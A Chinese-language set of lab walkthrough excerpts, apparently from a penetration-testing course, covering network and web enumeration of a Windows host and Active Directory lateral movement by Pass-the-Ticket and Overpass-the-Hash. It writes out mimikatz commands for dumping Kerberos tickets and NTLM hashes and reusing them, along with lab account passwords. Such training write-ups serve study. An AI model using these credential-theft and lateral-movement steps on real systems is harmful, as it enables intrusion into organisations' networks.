ARIES

 Challenge 6 -  AD 先掃對外的機器 └─$ rustscan -a 192.168.187.153 --scripts none --ulimit 5000 | tee rustscan 列舉服務資訊 └─$ sudo nmap -sCV -p 22,135,139,445,5040,5985,8000,47001,49664,49666,49665,49667,49669,49670,49668,49671 192.168.187.153 | tee nmap 跑 SSH 22 的 Windows，以及 8000 IIS └─$ whatweb 192.168.187.153:8000，標準 IIS 10.0 服務 預設 8000 Port 沒啥東西 └─$ sudo nmap -sU -p 161 192.168.187.153，snmp 服務沒開                                                                └─$ gobuster -w dirfuzzing.txt dir -u http://192.168.187.153:8000 -t 150 -x txt,pdf,git,aspx | tee gobuster，HTTP Status 200 有這兩個 /aspent_client /partner http://192.168.187.153:8000/partner/ 顯示 Access Deny，看來是個資料夾，那就掃子目錄看看 └─$ gobuster -w dirfuzzing.txt dir -u http://192.168.187.153:8000/partner -t 150 -x txt,pdf,git,aspx | tee gobuster-partner，掃出兩個路徑 /changelog、/db 連線測試發現是檔案...

 Active Directory 中的橫向移動 - PtT Pass the Ticket 使用 CORP\jen / Nexus123! RDP 登入到 Client76 └─$ xfreerdp /u:jen /p:'Nexus123!' /d:corp.com /v:192.168.191.76 直接存取 web04 上的 backup 資料夾看看 ls \\web04\backup 直接顯示 Access is denied 啟動 mimikatz 然後開啟 debug mode : privilege::debug 接著輸入 sekurlsa::tickets /export 從記憶體中匯出所有 TGT/TGS 可以看到 dave 的 Session Key 退出 mimikatz 執行 dir *.kirbi 這是因為 sekurlsa::tickets /export 顯示出來的結果是解析記憶體中的 LSASS 進程空間以查找任何 TGT/TGS，然後以 kirbi mimikatz 格式儲存到磁碟，所以我們直接列出所有的 *.kirbi 如下 因為我們的目標是 web04 所以將相關的 *.kirbi 專注在有 web04 的地方 可以看到是 dave @ web04，其中一筆是 [0;163e20]-0-0-40810000-dave@cifs-web04.kirbi 透過 mimikatz 的 ptt 方式執行 kerberos::ptt [0;163e20]-0-0-40810000-dave@cifs-web04.kirbi 再 klist 看一下，可以看到網域中 dave 的憑證了 針對的伺服器是 cifs/web04@corp.com 再執行 ls \\web04\backup 這一次沒有 Access is denied 了，直接列出相關的資源供查看 練習 : 與上面一樣，最後拿那個分享資料夾的 flag.txt 直接將 ls 改 type 即可讀取

 Active Directory 中的橫向移動 - OPtH 透過overpass the hash，我們可以「過度」濫用 NTLM 使用者哈希來獲得完整的 Kerberos 票證授予票證(TGT)。然後我們可以使用 TGT 來取得票據授予服務（TGS）。 先用已知的帳號密碼 jeff / HenchmanPutridBonbon11 登入到 Client76 └─$ xfreerdp /u:jeff /p:'HenchmanPutridBonbon11' /d:corp.com /v:192.168.191.76 按住 Shift 與滑鼠右鍵開啟某文字檔用另外一個使用者身分 這裡我們用網域的帳號密碼 jen / Nexus123! 來執行 Notepad 開啟後沒有任何需要，目的是要 jen 的憑證本機快取，所以可以直接關掉 接著直接執行 mimikatz，標準步驟 privilege::debug 再 sekurlsa::logonpasswords 目的是 jen 的 NTLM HASH "369def79d8372408bf6e93364cc93075" 接著一樣使用 mimikatz 工具執行 sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell 雖然使用的是 HASH PtH 驗證，但本質會將 NTLM 雜湊轉換為 Kerberos 票證並避免使用 NTLM 驗證，這是 sekurlsa::pth 指令的結果 如下圖，執行完畢後可以看到直接開啟了另一個 Powershell 視窗 但驗證 whoami 後卻發現是 jeff 而不是 jen，這是因為 whoami 無法檢查 Kerberos Token 執行 klist 可以看到也沒有 kerbers Token 接著我們使用 net use \\files04 後再執行一次 Klist 如下圖，可以看到都是帶入 jen 的驗證 這時候已經包含了 TGT & TGS 票眷 現在，我們已將 NTLM 雜湊轉換為 Kerberos TGT，從而允許我們使用任何依賴 Kerberos 驗證（而不是 ...